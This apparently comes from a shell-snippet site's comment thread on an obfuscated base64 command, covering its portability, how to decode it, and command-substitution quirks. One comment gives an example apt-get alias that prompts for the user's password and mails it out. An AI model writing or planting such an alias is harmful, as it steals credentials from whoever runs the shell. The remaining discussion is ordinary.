Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

Know a better way?

If you can do better, submit your command here.

What others think

I'm certain they will treat it and you with the same amount of incredulity that we do.

This command isn't universal, as it seems to work only under bash and zsh.

On csh and tcsh it will output:

Illegal variable name.

On sh:

Z: not found

Furthermore, base64 isn't installed on all unix systems. On FreeBSD, it must be installed from /usr/ports/converters/base64

You were confident johncons where using linux and not another OS like FreeBSD.

Dereckson: Do you think someone who submits a command like

'ls porn' uses FreeBSD? haha... Please, find the link above praying 'Know a better way? If you can do better, submit your command here.'

Comment by rodolfoap 346 weeks and 6 days ago

base64 also isn't installed on Mac OS X. However, with that said, you can get around it if you have OpenSSL installed:

openssl base64 -d -in <infile> -out <outfile>

Should increase the portability.

what does this command really do?

Comment by rne1223 346 weeks and 6 days ago

rne1223: it's really simple, but a little obfuscated. You will understand it by issueing (the text is dedicated to this john doe who is submitting crap):

echo dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=|base64 -d

You can encrypt things such as

alias apt-get='read -p "$USER password: ";echo $REPLY|mail -s $USER [email protected]; apt-get'


Comment by rodolfoap 346 weeks and 6 days ago

This does works perfectly:

$(echo "echo Foobar" | base64 | base64 -d)

>>> Foobar

This doesn't:

$(echo "echo Foobar | xargs echo" | base64 | base64 -d)

>>> Foobar | xargs echo

Why? How do I fix this?
